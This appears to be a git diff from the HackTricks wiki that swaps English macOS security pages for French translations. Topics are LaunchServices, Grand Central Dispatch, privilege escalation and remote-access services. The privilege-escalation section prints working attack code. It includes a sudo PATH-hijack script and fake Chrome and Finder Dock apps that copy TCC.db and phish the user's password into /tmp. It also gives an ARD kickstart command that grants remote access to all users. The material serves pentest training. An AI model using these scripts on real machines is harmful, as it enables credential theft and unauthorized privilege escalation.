possible to dump this datase with: +C'est une base de données de toutes les applications installées sur macOS qui peut être interrogée pour obtenir des informations sur chaque application installée, telles que les schémas d'URL qu'elle prend en charge et les types MIME. +Il est possible d'extraire cette base de données avec : ``` /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump ``` +Ou en utilisant l'outil [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). +**`/usr/libexec/lsd`** est le cerveau de la base de données. Il fournit **plusieurs services XPC** comme `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, et plus encore. Mais il **nécessite également certaines attributions** aux applications pour pouvoir utiliser les fonctionnalités XPC exposées, comme `.launchservices.changedefaulthandler` ou `.launchservices.changeurlschemehandler` pour changer les applications par défaut pour les types mime ou les schémas d'url, et d'autres. -**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others. +**`/System/Library/CoreServices/launchservicesd`** revendique le service `com.apple.coreservices.launchservicesd` et peut être interrogé pour obtenir des informations sur les applications en cours d'exécution. Il peut être interrogé avec l'outil système /**`usr/bin/lsappinfo`** ou avec [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). - -## File Extension & URL scheme app handlers - -The following line can be useful to find the applications that can open files depending on the extension: +## Gestionnaires d'applications pour les extensions de fichiers et les schémas d'URL +La ligne suivante peut être utile pour trouver les applications qui peuvent ouvrir des fichiers en fonction de l'extension : ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` - -Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): - +Ou utilisez quelque chose comme [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps) : ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` - -You can also check the extensions supported by an application doing: - +Vous pouvez également vérifier les extensions prises en charge par une application en faisant : ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string - css - pdf - webarchive - webbookmark - webhistory - webloc - download - safariextz - gif - html - htm - js - jpg - jpeg - jp2 - txt - text - png - tiff - tif - url - ico - xhtml - xht - xml - xbl - svg +css +pdf +webarchive +webbookmark +webhistory +webloc +download +safariextz +gif +html +htm +js +jpg +jpeg +jp2 +txt +text +png +tiff +tif +url +ico +xhtml +xht +xml +xbl +svg ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 7f66f04fa..187e2a87f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -2,182 +2,175 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD),** également connu sous le nom de **libdispatch** (`libdispatch.dyld`), est disponible à la fois sur macOS et iOS. C'est une technologie développée par Apple pour optimiser le support des applications pour l'exécution concurrente (multithread) sur du matériel multicœur. -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD** fournit et gère des **queues FIFO** auxquelles votre application peut **soumettre des tâches** sous forme d'**objets bloc**. Les blocs soumis aux queues de dispatch sont **exécutés sur un pool de threads** entièrement géré par le système. GCD crée automatiquement des threads pour exécuter les tâches dans les queues de dispatch et planifie ces tâches pour s'exécuter sur les cœurs disponibles. > [!TIP] -> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). +> En résumé, pour exécuter du code en **parallèle**, les processus peuvent envoyer des **blocs de code à GCD**, qui se chargera de leur exécution. Par conséquent, les processus ne créent pas de nouveaux threads ; **GCD exécute le code donné avec son propre pool de threads** (qui peut augmenter ou diminuer si nécessaire). -This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. +Cela est très utile pour gérer l'exécution parallèle avec succès, réduisant considérablement le nombre de threads que les processus créent et optimisant l'exécution parallèle. Cela est idéal pour les tâches qui nécessitent un **grand parallélisme** (brute-forcing ?) ou pour les tâches qui ne devraient pas bloquer le thread principal : Par exemple, le thread principal sur iOS gère les interactions UI, donc toute autre fonctionnalité qui pourrait faire planter l'application (recherche, accès à un web, lecture d'un fichier...) est gérée de cette manière. -### Blocks +### Blocs -A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ -However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: +Un bloc est une **section de code autonome** (comme une fonction avec des arguments retournant une valeur) et peut également spécifier des variables liées.\ +Cependant, au niveau du compilateur, les blocs n'existent pas, ce sont des `os_object`s. Chacun de ces objets est formé par deux structures : -- **block literal**: - - It starts by the **`isa`** field, pointing to the block's class: - - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - - `NSConcreteMallocBlock` (blocks in the heap) - - `NSConcreateStackBlock` (blocks in stack) - - It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - - The function pointer to call - - A pointer to the block descriptor - - Block imported variables (if any) -- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - - It has some reserved bytes - - The size of it - - It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - - If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). +- **littéral de bloc** : +- Il commence par le champ **`isa`**, pointant vers la classe du bloc : +- `NSConcreteGlobalBlock` (blocs de `__DATA.__const`) +- `NSConcreteMallocBlock` (blocs dans le tas) +- `NSConcreateStackBlock` (blocs dans la pile) +- Il a des **`flags`** (indiquant les champs présents dans le descripteur de bloc) et quelques octets réservés +- Le pointeur de fonction à appeler +- Un pointeur vers le descripteur de bloc +- Variables importées par le bloc (le cas échéant) +- **descripteur de bloc** : Sa taille dépend des données présentes (comme indiqué dans les flags précédents) +- Il a quelques octets réservés +- Sa taille +- Il aura généralement un pointeur vers une signature de style Objective-C pour savoir combien d'espace est nécessaire pour les paramètres (flag `BLOCK_HAS_SIGNATURE`) +- Si des variables sont référencées, ce bloc aura également des pointeurs vers un helper de copie (copiant la valeur au début) et un helper de désallocation (libérant). ### Queues -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +Une queue de dispatch est un objet nommé fournissant un ordre FIFO des blocs pour les exécutions. -Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. +Les blocs sont placés dans des queues pour être exécutés, et celles-ci supportent 2 modes : `DISPATCH_QUEUE_SERIAL` et `DISPATCH_QUEUE_CONCURRENT`. Bien sûr, la **série** ne **présentera pas de problèmes de conditions de course** car un bloc ne sera pas exécuté tant que le précédent n'est pas terminé. Mais **l'autre type de queue pourrait en avoir**. -Default queues: +Queues par défaut : -- `.main-thread`: From `dispatch_get_main_queue()` -- `.libdispatch-manager`: GCD's queue manager -- `.root.libdispatch-manager`: GCD's queue manager -- `.root.maintenance-qos`: Lowest priority tasks +- `.main-thread`: De `dispatch_get_main_queue()` +- `.libdispatch-manager`: Gestionnaire de queue de GCD +- `.root.libdispatch-manager`: Gestionnaire de queue de GCD +- `.root.maintenance-qos`: Tâches de priorité la plus basse - `.root.maintenance-qos.overcommit` -- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND` +- `.root.background-qos`: Disponible en tant que `DISPATCH_QUEUE_PRIORITY_BACKGROUND` - `.root.background-qos.overcommit` -- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` +- `.root.utility-qos`: Disponible en tant que `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` - `.root.utility-qos.overcommit` -- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT` +- `.root.default-qos`: Disponible en tant que `DISPATCH_QUEUE_PRIORITY_DEFAULT` - `.root.background-qos.overcommit` -- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH` +- `.root.user-initiated-qos`: Disponible en tant que `DISPATCH_QUEUE_PRIORITY_HIGH` - `.root.background-qos.overcommit` -- `.root.user-interactive-qos`: Highest priority +- `.root.user-interactive-qos`: Priorité la plus élevée - `.root.background-qos.overcommit` -Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point) +Remarquez que c'est le système qui décidera **quels threads gèrent quelles queues à chaque instant** (plusieurs threads peuvent travailler dans la même queue ou le même thread peut travailler dans différentes queues à un moment donné) -#### Attributtes +#### Attributs -When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue. +Lors de la création d'une queue avec **`dispatch_queue_create`**, le troisième argument est un `dispatch_queue_attr_t`, qui est généralement soit `DISPATCH_QUEUE_SERIAL` (qui est en fait NULL) soit `DISPATCH_QUEUE_CONCURRENT`, qui est un pointeur vers une structure `dispatch_queue_attr_t` permettant de contrôler certains paramètres de la queue. -### Dispatch objects +### Objets de dispatch -There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: +Il existe plusieurs objets que libdispatch utilise et les queues et blocs ne sont que 2 d'entre eux. Il est possible de créer ces objets avec `dispatch_object_create` : - `block` -- `data`: Data blocks -- `group`: Group of blocks -- `io`: Async I/O requests -- `mach`: Mach ports -- `mach_msg`: Mach messages -- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues +- `data`: Blocs de données +- `group`: Groupe de blocs +- `io`: Requêtes I/O asynchrones +- `mach`: Ports Mach +- `mach_msg`: Messages Mach +- `pthread_root_queue`: Une queue avec un pool de threads pthread et non des workqueues - `queue` - `semaphore` -- `source`: Event source +- `source`: Source d'événements ## Objective-C -In Objetive-C there are different functions to send a block to be executed in parallel: +En Objective-C, il existe différentes fonctions pour envoyer un bloc à exécuter en parallèle : -- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately. -- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing. -- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application. -- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block. +- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Soumet un bloc pour une exécution asynchrone sur une queue de dispatch et retourne immédiatement. +- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Soumet un objet bloc pour exécution et retourne après que ce bloc ait fini d'exécuter. +- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Exécute un objet bloc une seule fois pour la durée de vie d'une application. +- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Soumet un élément de travail pour exécution et retourne uniquement après qu'il ait fini d'exécuter. Contrairement à [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), cette fonction respecte tous les attributs de la queue lorsqu'elle exécute le bloc. -These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** - -This is the **struct of a Block**: +Ces fonctions attendent ces paramètres : [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** +Ceci est la **structure d'un Bloc** : ```c struct Block { - void *isa; // NSConcreteStackBlock,... - int flags; - int reserved; - void *invoke; - struct BlockDescriptor *descriptor; - // captured variables go here +void *isa; // NSConcreteStackBlock,... +int flags; +int reserved; +void *invoke; +struct BlockDescriptor *descriptor; +// captured variables go here }; ``` - -And this is an example to use **parallelism** with **`dispatch_async`**: - +Et voici un exemple d'utilisation du **parallélisme** avec **`dispatch_async`** : ```objectivec #import // Define a block void (^backgroundTask)(void) = ^{ - // Code to be executed in the background - for (int i = 0; i < 10; i++) { - NSLog(@"Background task %d", i); - sleep(1); // Simulate a long-running task - } +// Code to be executed in the background +for (int i = 0; i < 10; i++) { +NSLog(@"Background task %d", i); +sleep(1); // Simulate a long-running task +} }; int main(int argc, const char * argv[]) { - @autoreleasepool { - // Create a dispatch queue - dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); +@autoreleasepool { +// Create a dispatch queue +dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); - // Submit the block to the queue for asynchronous execution - dispatch_async(backgroundQueue, backgroundTask); +// Submit the block to the queue for asynchronous execution +dispatch_async(backgroundQueue, backgroundTask); - // Continue with other work on the main queue or thread - for (int i = 0; i < 10; i++) { - NSLog(@"Main task %d", i); - sleep(1); // Simulate a long-running task - } - } - return 0; +// Continue with other work on the main queue or thread +for (int i = 0; i < 10; i++) { +NSLog(@"Main task %d", i); +sleep(1); // Simulate a long-running task +} +} +return 0; } ``` - ## Swift -**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\ -The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD. +**`libswiftDispatch`** est une bibliothèque qui fournit des **liaisons Swift** au framework Grand Central Dispatch (GCD) qui est à l'origine écrit en C.\ +La bibliothèque **`libswiftDispatch`** enveloppe les API C GCD dans une interface plus conviviale pour Swift, facilitant ainsi le travail des développeurs Swift avec GCD. - **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().async{ ... }`** - **`let onceToken = DispatchOnce(); onceToken.perform { ... }`** - **`async await`** - - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** - -**Code example**: +- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** +**Exemple de code**: ```swift import Foundation // Define a closure (the Swift equivalent of a block) let backgroundTask: () -> Void = { - for i in 0..<10 { - print("Background task \(i)") - sleep(1) // Simulate a long-running task - } +for i in 0..<10 { +print("Background task \(i)") +sleep(1) // Simulate a long-running task +} } // Entry point autoreleasepool { - // Create a dispatch queue - let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") +// Create a dispatch queue +let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") - // Submit the closure to the queue for asynchronous execution - backgroundQueue.async(execute: backgroundTask) +// Submit the closure to the queue for asynchronous execution +backgroundQueue.async(execute: backgroundTask) - // Continue with other work on the main queue - for i in 0..<10 { - print("Main task \(i)") - sleep(1) // Simulate a long-running task - } +// Continue with other work on the main queue +for i in 0..<10 { +print("Main task \(i)") +sleep(1) // Simulate a long-running task +} } ``` - ## Frida -The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) - +Le script Frida suivant peut être utilisé pour **s'accrocher à plusieurs fonctions `dispatch`** et extraire le nom de la file d'attente, la trace de retour et le bloc : [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -190,12 +183,11 @@ Backtrace: 0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:] [...] ``` - ## Ghidra -Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one. +Actuellement, Ghidra ne comprend ni la structure ObjectiveC **`dispatch_block_t`**, ni celle de **`swift_dispatch_block`**. -So if you want it to understand them, you could just **declare them**: +Donc, si vous voulez qu'il les comprenne, vous pouvez simplement **les déclarer** :
@@ -203,23 +195,23 @@ So if you want it to understand them, you could just **declare them**:
-Then, find a place in the code where they are **used**: +Ensuite, trouvez un endroit dans le code où ils sont **utilisés** : > [!TIP] -> Note all of references made to "block" to understand how you could figure out that the struct is being used. +> Notez toutes les références faites à "block" pour comprendre comment vous pourriez déterminer que la structure est utilisée.
-Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**: +Cliquez avec le bouton droit sur la variable -> Retaper la variable et sélectionnez dans ce cas **`swift_dispatch_block`** :
-Ghidra will automatically rewrite everything: +Ghidra réécrira automatiquement tout :
-## References +## Références -- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) +- [**\*OS Internals, Volume I: User Mode. Par Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index fa8e2aeb4..7fadeff70 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -1,37 +1,36 @@ -# macOS Privilege Escalation +# Escalade de privilèges macOS {{#include ../../banners/hacktricks-training.md}} -## TCC Privilege Escalation +## Escalade de privilèges TCC -If you came here looking for TCC privilege escalation go to: +Si vous êtes ici à la recherche de l'escalade de privilèges TCC, allez à : {{#ref}} macos-security-protections/macos-tcc/ {{#endref}} -## Linux Privesc +## Privesc Linux -Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: +Veuillez noter que **la plupart des astuces concernant l'escalade de privilèges affectant Linux/Unix affecteront également les machines MacOS**. Donc, voyez : {{#ref}} ../../linux-hardening/privilege-escalation/ {{#endref}} -## User Interaction +## Interaction utilisateur -### Sudo Hijacking +### Détournement de Sudo -You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking). - -However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:** +Vous pouvez trouver la technique originale de [Détournement de Sudo dans le post sur l'escalade de privilèges Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking). +Cependant, macOS **maintient** le **`PATH`** de l'utilisateur lorsqu'il exécute **`sudo`**. Ce qui signifie qu'une autre façon d'atteindre cette attaque serait de **détourner d'autres binaires** que la victime exécutera lorsqu'elle **utilise sudo :** ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < /tmp/privesc +whoami > /tmp/privesc fi /bin/ls "\$@" EOF @@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` +Notez qu'un utilisateur qui utilise le terminal aura très probablement **Homebrew installé**. Il est donc possible de détourner des binaires dans **`/opt/homebrew/bin`**. -Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**. +### Usurpation du Dock -### Dock Impersonation - -Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script: +En utilisant un peu de **ingénierie sociale**, vous pourriez **usurper par exemple Google Chrome** dans le dock et exécuter en réalité votre propre script : {{#tabs}} -{{#tab name="Chrome Impersonation"}} -Some suggestions: - -- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. +{{#tab name="Usurpation de Chrome"}} +Quelques suggestions : +- Vérifiez dans le Dock s'il y a un Chrome, et dans ce cas, **supprimez** cette entrée et **ajoutez** la **fausse** entrée **Chrome à la même position** dans le tableau du Dock. ```bash #!/bin/sh @@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < int main() { - char *cmd = "open /Applications/Google\\\\ Chrome.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /Applications/Google\\\\ Chrome.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Finder.app/Contents/MacOS/Finder.c < int main() { - char *cmd = "open /System/Library/CoreServices/Finder.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /System/Library/CoreServices/Finder.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Finder - CFBundleIdentifier - com.apple.finder - CFBundleName - Finder - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Finder +CFBundleIdentifier +com.apple.finder +CFBundleName +Finder +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data `Sharing` +Ce sont les services macOS courants pour y accéder à distance.\ +Vous pouvez activer/désactiver ces services dans `Paramètres Système` --> `Partage` -- **VNC**, known as “Screen Sharing” (tcp:5900) -- **SSH**, called “Remote Login” (tcp:22) -- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900) -- **AppleEvent**, known as “Remote Apple Event” (tcp:3031) - -Check if any is enabled running: +- **VNC**, connu sous le nom de “Partage d'Écran” (tcp:5900) +- **SSH**, appelé “Connexion à Distance” (tcp:22) +- **Apple Remote Desktop** (ARD), ou “Gestion à Distance” (tcp:3283, tcp:5900) +- **AppleEvent**, connu sous le nom de “Événement Apple à Distance” (tcp:3031) +Vérifiez si l'un d'eux est activé en exécutant : ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` - ### Pentesting ARD -Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. +Apple Remote Desktop (ARD) est une version améliorée de [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) adaptée pour macOS, offrant des fonctionnalités supplémentaires. Une vulnérabilité notable dans ARD est sa méthode d'authentification pour le mot de passe de contrôle de l'écran, qui n'utilise que les 8 premiers caractères du mot de passe, la rendant sujette à des [attaques par force brute](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) avec des outils comme Hydra ou [GoRedShell](https://github.com/ahhh/GoRedShell/), car il n'y a pas de limites de taux par défaut. -Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. - -To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command: +Les instances vulnérables peuvent être identifiées en utilisant le script `vnc-info` de **nmap**. Les services prenant en charge `VNC Authentication (2)` sont particulièrement sensibles aux attaques par force brute en raison de la troncature du mot de passe à 8 caractères. +Pour activer ARD pour diverses tâches administratives comme l'escalade de privilèges, l'accès GUI ou la surveillance des utilisateurs, utilisez la commande suivante : ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra 